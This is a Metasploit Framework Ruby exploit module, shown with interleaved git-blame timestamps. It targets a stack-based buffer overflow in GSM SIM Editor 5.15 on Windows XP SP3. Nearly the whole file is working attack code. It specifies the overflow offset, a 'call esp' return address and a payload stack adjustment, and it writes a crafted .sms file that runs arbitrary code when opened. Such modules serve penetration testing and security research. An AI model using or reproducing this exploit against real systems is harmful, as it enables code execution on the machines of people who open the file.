2012-04-14 05:12:48 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2012-04-18 07:38:25 +00:00
|
|
|
# http://metasploit.com/framework/
|
2012-04-14 05:12:48 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-04-18 07:38:25 +00:00
|
|
|
'Name' => 'GSM SIM Editor 5.15 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2012-04-14 05:12:48 +00:00
|
|
|
This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
|
|
|
|
When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer
|
|
|
|
overflow occurs which allows an attacker to execute arbitrary code.
|
|
|
|
},
|
2012-04-18 07:38:25 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
2012-04-14 05:12:48 +00:00
|
|
|
[
|
|
|
|
'Ruben Alejandro',
|
|
|
|
'chap0 <contact.chap0[at]gmail.com>',
|
2012-04-18 07:38:25 +00:00
|
|
|
'Lincoln <lincoln[at]corelan.be>'
|
2012-04-14 05:12:48 +00:00
|
|
|
],
|
2012-04-18 07:38:25 +00:00
|
|
|
'References' =>
|
2012-04-14 05:12:48 +00:00
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.exploit-db.com/exploits/14258/' ]
|
|
|
|
],
|
2012-04-18 07:38:25 +00:00
|
|
|
'DefaultOptions' =>
|
2012-04-14 05:12:48 +00:00
|
|
|
{
|
|
|
|
'ExitFunction' => 'process',
|
|
|
|
},
|
2012-04-18 07:38:25 +00:00
|
|
|
'Platform' => 'win',
|
|
|
|
'Payload' =>
|
2012-04-14 05:12:48 +00:00
|
|
|
{
|
|
|
|
'Space' => 2000,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'DisableNops' => true,
|
|
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
|
|
|
|
},
|
2012-04-18 07:38:25 +00:00
|
|
|
'Targets' =>
|
2012-04-14 05:12:48 +00:00
|
|
|
[
|
|
|
|
[ 'Windows XP SP3',
|
|
|
|
{
|
2012-04-18 07:38:25 +00:00
|
|
|
'Ret' => 0x00405201, # call esp - SIMEditor.exe
|
|
|
|
'Offset' => 810
|
2012-04-14 05:12:48 +00:00
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
2012-04-18 07:38:25 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Jul 07 2010',
|
|
|
|
'DefaultTarget' => 0))
|
2012-04-14 05:12:48 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
buffer = rand_text_numeric(target['Offset'])
|
|
|
|
buffer << [target.ret].pack('V').unpack("H*")[0]
|
|
|
|
buffer << make_nops(30).unpack("H*")[0]
|
|
|
|
buffer << payload.encoded.unpack("H*")[0]
|
|
|
|
|
|
|
|
file_create(buffer)
|
|
|
|
end
|
2012-04-18 07:38:25 +00:00
|
|
|
|
2012-04-14 05:12:48 +00:00
|
|
|
end
|